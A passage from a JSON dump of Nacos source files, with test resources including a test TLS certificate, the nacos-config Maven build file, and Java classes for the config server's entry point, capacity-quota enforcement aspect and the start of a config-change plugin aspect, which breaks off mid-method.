    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.common.spi.SpiTestImpl"
  },
  {
    "path": "common/src/test/resources/resource_utils_test.properties",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\na=b"
  },
  {
    "path": "common/src/test/resources/test-tls-cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIC+zCCAmSgAwIBAgIJAK68bP5/APz/MA0GCSqGSIb3DQEBBQUAMHAxCzAJBgNV\nBAYTAkNOMRIwEAYDVQQIDAlaaGUgSmlhbmcxEjAQBgNVBAcMCUhhbmcgWmhvdTEW\nMBQGA1UECgwNQWxpYmFiYSBDbG91ZDEOMAwGA1UECwwFTmFjb3MxETAPBgNVBAMM\nCG5hY29zIGNhMCAXDTIzMDQyMTA4MzI0MVoYDzIxMjMwMzI4MDgzMjQxWjB0MQsw\nCQYDVQQGEwJDTjESMBAGA1UECAwJWmhlIEppYW5nMRIwEAYDVQQHDAlIYW5nIFpo\nb3UxFjAUBgNVBAoMDUFsaWJhYmEgQ2xvdWQxDjAMBgNVBAsMBU5hY29zMRUwEwYD\nVQQDDAxOYWNvcyBDbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB\nAQDCQ93itb/8s1WW9TjBgoH6OZ1lO6dn08hKFy8vq/IhiSv8k8ks78PzCAWeeDYD\nxzjA0gsq+2MREt3CE+Vd2Rza/MYCVaHYVdyDzJp2v9kwWrtMrTvUDvtnAf4zq7Oj\ntObEbFkUn2hPXN9i8pLfeqYdO//HjKcckniRMfretS+zoRVjMBa9upSapl3zUD6C\neqarvghg/h7RFpaZJ16suW9zfRIImb6skB81bZU39pf38RYgxQzOkQmjhmGQPEom\nGFDkM8Y01haPLXI6Un5r6Bohbsh5Or+FOWgW+VW7Ql4smv8Pt+XKDs/3D6wCTXs7\ngMAVG+fMoRySj+B90TfdkwNrAgMBAAGjEzARMA8GA1UdEQQIMAaHBH8AAAEwDQYJ\nKoZIhvcNAQEFBQADgYEAb2hcGyID/IEAecjWlc8Q5AMDFE6DRJlh5lI+a08aHT30\n2/o35CxOscoWECKURYD6h24mrGX9XQ1ruOrv4Tga81NX6XE12YwILeKlYK8DDmig\nMkS9kjHjwdVOjnfpv8Ixfgwpst1TYAAPfD8jwXYg27bixqyse6dLPZR1adBxCwM=\n-----END CERTIFICATE-----"
  },
  {
    "path": "config/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    \n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n    </parent>\n    \n    <modelVersion>4.0.0</modelVersion>\n    \n    <artifactId>nacos-config</artifactId>\n    <packaging>jar</packaging>\n    \n    <name>nacos-config ${project.version}</name>\n    <url>https://nacos.io</url>\n    \n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-api</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-persistence</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>ch.qos.logback</groupId>\n            <artifactId>logback-classic</artifactId>\n        </dependency>\n    \n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-encryption-plugin</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-config-plugin</artifactId>\n        </dependency>\n        \n        <!-- issue#12028 upgrade org.apache.httpcomponents:httpasyncclient to org.apache.httpcomponents.client5:httpclient5 -->\n        <dependency>\n            <groupId>org.apache.httpcomponents.client5</groupId>\n            <artifactId>httpclient5</artifactId>\n        </dependency>\n        \n        <!-- Provided -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-tomcat</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.micrometer</groupId>\n            <artifactId>micrometer-registry-prometheus</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.micrometer</groupId>\n            <artifactId>micrometer-registry-influx</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.micrometer</groupId>\n            <artifactId>micrometer-registry-elastic</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.yaml</groupId>\n            <artifactId>snakeyaml</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-control-plugin</artifactId>\n            <version>${revision}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-datasource-plugin</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-test-autoconfigure</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.hamcrest</groupId>\n            <artifactId>hamcrest</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.mysql</groupId>\n            <artifactId>mysql-connector-j</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-datasource-plugin-mysql</artifactId>\n            <version>${project.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-datasource-plugin-derby</artifactId>\n            <version>${project.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-datasource-plugin-postgresql</artifactId>\n            <version>${project.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-datasource-plugin-oracle</artifactId>\n            <version>${project.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-assembly-plugin</artifactId>\n                <configuration>\n                    <archive>\n                        <manifest>\n                            <mainClass>com.alibaba.nacos.config.server.Config</mainClass>\n                        </manifest>\n                    </archive>\n                    <descriptorRefs>\n                        <descriptorRef>jar-with-dependencies</descriptorRef>\n                    </descriptorRefs>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n    <profiles>\n        <profile>\n            <id>springboot</id>\n            <dependencies>\n                <dependency>\n                    <groupId>${project.groupId}</groupId>\n                    <artifactId>nacos-core</artifactId>\n                </dependency>\n            </dependencies>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.springframework.boot</groupId>\n                        <artifactId>spring-boot-maven-plugin</artifactId>\n                        <configuration>\n                            <mainClass>com.alibaba.nacos.config.server.Config</mainClass>\n                        </configuration>\n                    </plugin>\n                </plugins>\n                <finalName>nacos-config</finalName>\n            </build>\n        </profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/Config.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.scheduling.annotation.EnableScheduling;\n\n/**\n * Config main.\n *\n * @author Nacos\n */\n@EnableScheduling\n@SpringBootApplication(scanBasePackages = {\n        \"com.alibaba.nacos.config.server\",\n        \"com.alibaba.nacos.core\"})\npublic class Config {\n    \n    public static void main(String[] args) {\n        SpringApplication.run(Config.class, args);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/aspect/CapacityManagementAspect.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.aspect;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.CounterMode;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.capacity.Capacity;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.capacity.CapacityService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\nimport java.nio.charset.StandardCharsets;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.LIMIT_ERROR_CODE;\n\n/**\n * Capacity management aspect for config service.\n *\n * @author Nacos\n */\n@Aspect\n@Component\npublic class CapacityManagementAspect {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(CapacityManagementAspect.class);\n    \n    private static final String PUBLISH_CONFIG =\n            \"execution(* com.alibaba.nacos.config.server.service.ConfigOperationService.publishConfig(..))\";\n    \n    private static final String DELETE_CONFIG =\n            \"execution(* com.alibaba.nacos.config.server.service.ConfigOperationService.deleteConfig(..))\";\n\n    private final CapacityService capacityService;\n\n    private final ConfigInfoPersistService configInfoPersistService;\n\n    public CapacityManagementAspect(ConfigInfoPersistService configInfoPersistService, CapacityService capacityService) {\n        this.configInfoPersistService = configInfoPersistService;\n        this.capacityService = capacityService;\n    }\n    \n    /**\n     * Intercept publish config operations to perform capacity management checks.\n     */\n    @Around(PUBLISH_CONFIG)\n    public Object aroundPublishConfig(ProceedingJoinPoint pjp) throws Throwable {\n        if (!PropertyUtil.isManageCapacity()) {\n            return pjp.proceed();\n        }\n\n        Object[] args = pjp.getArgs();\n        ConfigForm configForm = (ConfigForm) args[0];\n        ConfigRequestInfo configRequestInfo = (ConfigRequestInfo) args[1];\n        String dataId = configForm.getDataId();\n        String group = configForm.getGroup();\n        String namespaceId = configForm.getNamespaceId();\n        String content = configForm.getContent();\n        String betaIps = configRequestInfo.getBetaIps();\n        String tag = configForm.getTag();\n\n        LOGGER.info(\"[CapacityManagement] Intercepting publishConfig operation for dataId: {}, group: {}, namespaceId: {}\",\n                dataId, group, namespaceId);\n\n        if (StringUtils.isBlank(betaIps) && StringUtils.isBlank(tag) && StringUtils.isBlank(configForm.getGrayName())) {\n            // do capacity management limitation check for writing or updating config_info table.\n            if (configInfoPersistService.findConfigInfo(dataId, group, namespaceId) == null) {\n                // Write operation.\n                return do4Insert(pjp, group, namespaceId, content);\n            } else {\n                // Update operation.\n                return do4Update(pjp, dataId, group, namespaceId, content);\n            }\n        }\n        return pjp.proceed();\n    }\n    \n    /**\n     * Update operation: open the limitation of capacity management, and it will check the size of content.\n     *\n     * @throws Throwable Throws Exception when actually operate.\n     */\n    private Object do4Update(ProceedingJoinPoint pjp, String dataId, String group, String namespaceId, String content) throws Throwable {\n        if (!PropertyUtil.isCapacityLimitCheck()) {\n            return pjp.proceed();\n        }\n        try {\n            boolean hasTenant = StringUtils.isNotBlank(namespaceId);\n            Capacity capacity = getCapacity(group, namespaceId, hasTenant);\n            if (isSizeLimited(group, namespaceId, getCurrentSize(content), hasTenant, false, capacity)) {\n                throw new NacosException(ErrorCode.OVER_MAX_SIZE.getCode(),\n                    String.format(\"Configuration content size limit exceeded [group=%s, namespaceId=%s].\", group, namespaceId));\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[CapacityManagement] Error during update operation for dataId: {}, group: {}, namespaceId: {}\",\n                    dataId, group, namespaceId, e);\n            throw e;\n        }\n        return pjp.proceed();\n    }\n    \n    /**\n     * Write operation. Step 1: count whether to open the limitation checking function for capacity management; Step 2:\n     * open limitation checking capacity management and check size of content and quota;\n     *\n     * @throws Throwable Exception.\n     */\n    private Object do4Insert(ProceedingJoinPoint pjp, String group, String namespaceId, String content) throws Throwable {\n        LOGGER.info(\"[CapacityManagement] Handling insert operation for group: {}, namespaceId: {}\", group, namespaceId);\n        CounterMode counterMode = CounterMode.INCREMENT;\n        boolean hasTenant = StringUtils.isNotBlank(namespaceId);\n        \n        if (PropertyUtil.isCapacityLimitCheck()) {\n            // Write or update: usage + 1\n            LimitType limitType = getLimitType(counterMode, group, namespaceId, content, hasTenant);\n            if (limitType != null) {\n                ErrorCode errorCode = ErrorCode.getErrorCode(limitType.name());\n                if (errorCode != null) {\n                    throw new NacosException(errorCode.getCode(),\n                            String.format(\"Configuration limit exceeded [group=%s, namespaceId=%s].\", group, namespaceId));\n                }\n            }\n        } else {\n            // Write or update: usage + 1\n            insertOrUpdateUsage(group, namespaceId, counterMode, hasTenant);\n        }\n        return getResult(pjp, group, namespaceId, counterMode, hasTenant);\n    }\n    \n    /**\n     * Intercept delete config operations to perform capacity management checks.\n     */\n    @Around(DELETE_CONFIG)\n    public Object aroundDeleteConfig(ProceedingJoinPoint pjp) throws Throwable {\n        if (!PropertyUtil.isManageCapacity()) {\n            return pjp.proceed();\n        }\n        \n        Object[] args = pjp.getArgs();\n        String dataId = (String) args[0];\n        String group = (String) args[1];\n        String namespaceId = (String) args[2];\n        String grayName = (String) args[3];\n        \n        LOGGER.info(\"[CapacityManagement] Intercepting deleteConfig operation for dataId: {}, group: {}, namespaceId: {}\", dataId, group,\n                namespaceId);\n        \n        if (StringUtils.isNotBlank(grayName)) {\n            return pjp.proceed();\n        }\n        \n        ConfigInfo configInfo = configInfoPersistService.findConfigInfo(dataId, group, namespaceId);\n        if (configInfo == null) {\n            return pjp.proceed();\n        }\n        return do4Delete(pjp, group, namespaceId, configInfo);\n    }\n    \n    /**\n     * Delete Operation.\n     *\n     * @throws Throwable Exception.\n     */\n    private Object do4Delete(ProceedingJoinPoint pjp, String group, String namespaceId, ConfigInfo configInfo) throws Throwable {\n        boolean hasTenant = StringUtils.isNotBlank(namespaceId);\n        if (configInfo == null) {\n            // \"configInfo == null\", has two possible points.\n            // 1. Concurrently deletion.\n            // 2. First, new sub configurations are added, and then all sub configurations are deleted.\n            // At this time, the task (asynchronous) written to configinfo has not been executed.\n            //\n            // About 2 point, then it will execute to merge to write config_info's task orderly, and delete config_info's task.\n            // Active modification of usage, when it happens to be in the above \"merging to write config_info's task\".\n            // Modify usage when the task of info is finished, and usage = 1.\n            // The following \"delete config_info\" task will not be executed with usage-1, because the request has already returned.\n            // Therefore, it is necessary to modify the usage job regularly.\n            correctUsage(group, namespaceId, hasTenant);\n            return pjp.proceed();\n        }\n        \n        // The same record can be deleted concurrently. This interface can be deleted asynchronously(submit MergeDataTask\n        // to MergeTaskProcessor for processing), It may lead to more than one decrease in usage.\n        // Therefore, it is necessary to modify the usage job regularly.\n        CounterMode counterMode = CounterMode.DECREMENT;\n        insertOrUpdateUsage(group, namespaceId, counterMode, hasTenant);\n        return getResult(pjp, group, namespaceId, counterMode, hasTenant);\n    }\n    \n    private void correctUsage(String group, String namespaceId, boolean hasTenant) {\n        try {\n            if (hasTenant) {\n                LOGGER.info(\"[capacityManagement] correct usage, namespaceId: {}\", namespaceId);\n                capacityService.correctTenantUsage(namespaceId);\n            } else {\n                LOGGER.info(\"[capacityManagement] correct usage, group: {}\", group);\n                capacityService.correctGroupUsage(group);\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[capacityManagement] correctUsage \", e);\n        }\n    }\n    \n    private Object getResult(ProceedingJoinPoint pjp, String group, String namespaceId, CounterMode counterMode, boolean hasTenant) throws Throwable {\n        try {\n            // Execute operation actually.\n            Boolean result = (Boolean) pjp.proceed();\n            if (!result) {\n                rollbackUsage(counterMode, group, namespaceId, hasTenant);\n            }\n            return result;\n        } catch (Throwable throwable) {\n            LOGGER.warn(\"[capacityManagement] inner operation throw exception, rollback, group: {}, namespaceId: {}\", group,\n                    namespaceId, throwable);\n            rollbackUsage(counterMode, group, namespaceId, hasTenant);\n            throw throwable;\n        }\n    }\n    \n    /**\n     * Usage counting service: it will count whether the limitation check function will be open.\n     */\n    private void insertOrUpdateUsage(String group, String namespaceId, CounterMode counterMode, boolean hasTenant) {\n        try {\n            capacityService.insertAndUpdateClusterUsage(counterMode, true);\n            if (hasTenant) {\n                capacityService.insertAndUpdateTenantUsage(counterMode, namespaceId, true);\n            } else {\n                capacityService.insertAndUpdateGroupUsage(counterMode, group, true);\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[capacityManagement] insertOrUpdateUsage \", e);\n        }\n    }\n    \n    private LimitType getLimitType(CounterMode counterMode, String group, String namespaceId, String content,\n            boolean hasTenant) {\n        try {\n            boolean clusterLimited = !capacityService.insertAndUpdateClusterUsage(counterMode, false);\n            if (clusterLimited) {\n                LOGGER.warn(\"[capacityManagement] cluster capacity reaches quota.\");\n                return LimitType.OVER_CLUSTER_QUOTA;\n            }\n            if (content == null) {\n                return null;\n            }\n            int currentSize = getCurrentSize(content);\n            LimitType limitType = getGroupOrTenantLimitType(counterMode, group, namespaceId, currentSize, hasTenant);\n            if (limitType != null) {\n                rollbackClusterUsage(counterMode);\n                return limitType;\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[capacityManagement] isLimited \", e);\n        }\n        return null;\n    }\n    \n    /**\n     * Get and return the byte size of encoding.\n     */\n    private int getCurrentSize(String content) {\n        try {\n            return content.getBytes(StandardCharsets.UTF_8).length;\n        } catch (Exception e) {\n            LOGGER.error(\"[capacityManagement] getCurrentSize \", e);\n        }\n        return 0;\n    }\n    \n    private LimitType getGroupOrTenantLimitType(CounterMode counterMode, String group, String namespaceId, int currentSize,\n            boolean hasTenant) {\n        if (group == null) {\n            return null;\n        }\n        Capacity capacity = getCapacity(group, namespaceId, hasTenant);\n        if (isSizeLimited(group, namespaceId, currentSize, hasTenant, false, capacity)) {\n            return LimitType.OVER_MAX_SIZE;\n        }\n        if (capacity == null) {\n            insertCapacity(group, namespaceId, hasTenant);\n        }\n        boolean updateSuccess = isUpdateSuccess(counterMode, group, namespaceId, hasTenant);\n        if (updateSuccess) {\n            return null;\n        }\n        if (hasTenant) {\n            return LimitType.OVER_TENANT_QUOTA;\n        }\n        return LimitType.OVER_GROUP_QUOTA;\n    }\n    \n    private boolean isUpdateSuccess(CounterMode counterMode, String group, String namespaceId, boolean hasTenant) {\n        boolean updateSuccess;\n        if (hasTenant) {\n            updateSuccess = capacityService.updateTenantUsage(counterMode, namespaceId);\n            if (!updateSuccess) {\n                LOGGER.warn(\"[capacityManagement] namespaceId capacity reaches quota, namespaceId: {}\", namespaceId);\n            }\n        } else {\n            updateSuccess = capacityService.updateGroupUsage(counterMode, group);\n            if (!updateSuccess) {\n                LOGGER.warn(\"[capacityManagement] group capacity reaches quota, group: {}\", group);\n            }\n        }\n        return updateSuccess;\n    }\n    \n    private void insertCapacity(String group, String namespaceId, boolean hasTenant) {\n        if (hasTenant) {\n            capacityService.initTenantCapacity(namespaceId);\n        } else {\n            capacityService.initGroupCapacity(group);\n        }\n    }\n    \n    private Capacity getCapacity(String group, String namespaceId, boolean hasTenant) {\n        Capacity capacity;\n        if (hasTenant) {\n            capacity = capacityService.getTenantCapacity(namespaceId);\n        } else {\n            capacity = capacityService.getGroupCapacity(group);\n        }\n        return capacity;\n    }\n    \n    private boolean isSizeLimited(String group, String namespaceId, int currentSize, boolean hasTenant, boolean isAggr,\n            Capacity capacity) {\n        int defaultMaxSize = getDefaultMaxSize(isAggr);\n        if (capacity != null) {\n            Integer maxSize = getMaxSize(isAggr, capacity);\n            if (maxSize == 0) {\n                // If there exists capacity info and maxSize = 0, then it uses maxSize limitation default value to compare.\n                return isOverSize(group, namespaceId, currentSize, defaultMaxSize, hasTenant);\n            }\n            // If there exists capacity info, then maxSize!=0.\n            return isOverSize(group, namespaceId, currentSize, maxSize, hasTenant);\n        }\n        // If there no exists capacity info, then it uses maxSize limitation default value to compare.\n        return isOverSize(group, namespaceId, currentSize, defaultMaxSize, hasTenant);\n    }\n    \n    private Integer getMaxSize(boolean isAggr, Capacity capacity) {\n        if (isAggr) {\n            return capacity.getMaxAggrSize();\n        }\n        return capacity.getMaxSize();\n    }\n    \n    private int getDefaultMaxSize(boolean isAggr) {\n        if (isAggr) {\n            return PropertyUtil.getDefaultMaxAggrSize();\n        }\n        return PropertyUtil.getDefaultMaxSize();\n    }\n    \n    private boolean isOverSize(String group, String namespaceId, int currentSize, int maxSize, boolean hasTenant) {\n        if (currentSize > maxSize) {\n            if (hasTenant) {\n                LOGGER.warn(\n                        \"[capacityManagement] namespaceId content is over maxSize, namespaceId: {}, maxSize: {}, currentSize: {}\",\n                        namespaceId, maxSize, currentSize);\n            } else {\n                LOGGER.warn(\n                        \"[capacityManagement] group content is over maxSize, group: {}, maxSize: {}, currentSize: {}\",\n                        group, maxSize, currentSize);\n            }\n            return true;\n        }\n        return false;\n    }\n    \n    private void rollbackUsage(CounterMode counterMode, String group, String namespaceId, boolean hasTenant) {\n        try {\n            rollbackClusterUsage(counterMode);\n            if (hasTenant) {\n                capacityService.updateTenantUsage(counterMode.reverse(), namespaceId);\n            } else {\n                capacityService.updateGroupUsage(counterMode.reverse(), group);\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[capacityManagement] rollback \", e);\n        }\n    }\n    \n    private void rollbackClusterUsage(CounterMode counterMode) {\n        try {\n            if (!capacityService.updateClusterUsage(counterMode.reverse())) {\n                LOGGER.error(\"[capacityManagement] cluster usage rollback fail counterMode: {}\", counterMode);\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[capacityManagement] rollback \", e);\n        }\n    }\n    \n    /**\n     * limit type.\n     *\n     * @author Nacos.\n     */\n    public enum LimitType {\n        /**\n         * over limit.\n         */\n        OVER_CLUSTER_QUOTA(\"Exceeded the maximum number of configurations in the cluster\", LIMIT_ERROR_CODE),\n        OVER_GROUP_QUOTA(\"Exceeded the maximum number of configurations in this group\", LIMIT_ERROR_CODE),\n        OVER_TENANT_QUOTA(\"Exceeded the maximum number of configurations for this namespaceId\", LIMIT_ERROR_CODE),\n        OVER_MAX_SIZE(\"Exceeded the maximum size limit of the configuration content\", LIMIT_ERROR_CODE);\n        \n        public final String description;\n        \n        public final int status;\n        \n        LimitType(String description, int status) {\n            this.description = description;\n            this.status = status;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/aspect/ConfigChangeAspect.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.aspect;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.configuration.ConfigChangeConfigs;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.plugin.config.ConfigChangePluginManager;\nimport com.alibaba.nacos.plugin.config.constants.ConfigChangeConstants;\nimport com.alibaba.nacos.plugin.config.constants.ConfigChangeExecuteTypes;\nimport com.alibaba.nacos.plugin.config.constants.ConfigChangePointCutTypes;\nimport com.alibaba.nacos.plugin.config.model.ConfigChangeRequest;\nimport com.alibaba.nacos.plugin.config.model.ConfigChangeResponse;\nimport com.alibaba.nacos.plugin.config.spi.ConfigChangePluginService;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Locale;\nimport java.util.Properties;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.HTTP;\n\n/**\n * Config change pointcut aspect,which config change plugin services will pointcut.\n *\n * @author Nacos\n */\n@Aspect\n@Component\npublic class ConfigChangeAspect {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigChangeAspect.class);\n    \n    private static final Integer DEFAULT_BEFORE_LIST_CAPACITY = 2;\n    \n    private static final Integer DEFAULT_AFTER_LIST_CAPACITY = 1;\n    \n    private static final String ENABLED = \"enabled\";\n    \n    /**\n     * Publish config.\n     */\n    private static final String PUBLISH_CONFIG =\n            \"execution(* com.alibaba.nacos.config.server.service.ConfigOperationService.publishConfig(..))\";\n    \n    /**\n     * Delete config.\n     */\n    private static final String DELETE_CONFIG =\n            \"execution(* com.alibaba.nacos.config.server.service.ConfigOperationService.deleteConfig(..))\";\n    \n    private final ConfigChangeConfigs configChangeConfigs;\n    \n    public ConfigChangeAspect(ConfigChangeConfigs configChangeConfigs) {\n        this.configChangeConfigs = configChangeConfigs;\n    }\n    \n    /**\n     * Publish or update config.\n     */\n    @Around(PUBLISH_CONFIG)\n    Object publishOrUpdateConfigAround(ProceedingJoinPoint pjp) throws Throwable {\n        Object[] args = pjp.getArgs();\n        ConfigForm configForm = (ConfigForm) args[0];\n        ConfigRequestInfo configRequestInfo = (ConfigRequestInfo) args[1];\n        final String dataId = configForm.getDataId();\n        final String group = configForm.getGroup();\n        final String namespaceId = configForm.getNamespaceId();\n        final String content = configForm.getContent();\n        final String desc = configForm.getDesc();\n        final String use = configForm.getUse();\n        final String effect = configForm.getEffect();\n        final String type = configForm.getType();\n        final String tag = configForm.getTag();\n        final String configTags = configForm.getConfigTags();\n        final String requestIpApp = configRequestInfo.getRequestIpApp();\n        final String scrIp = configRequestInfo.getSrcIp();\n        final String scrType = configRequestInfo.getSrcType();\n        final String betaIps = configRequestInfo.getBetaIps();\n        String grayName = null;\n        String grayRuleExp = null;\n        if (StringUtils.isNotBlank(betaIps)) {\n            grayName =  BetaGrayRule.TYPE_BETA;\n            grayRuleExp = betaIps;\n        } else if 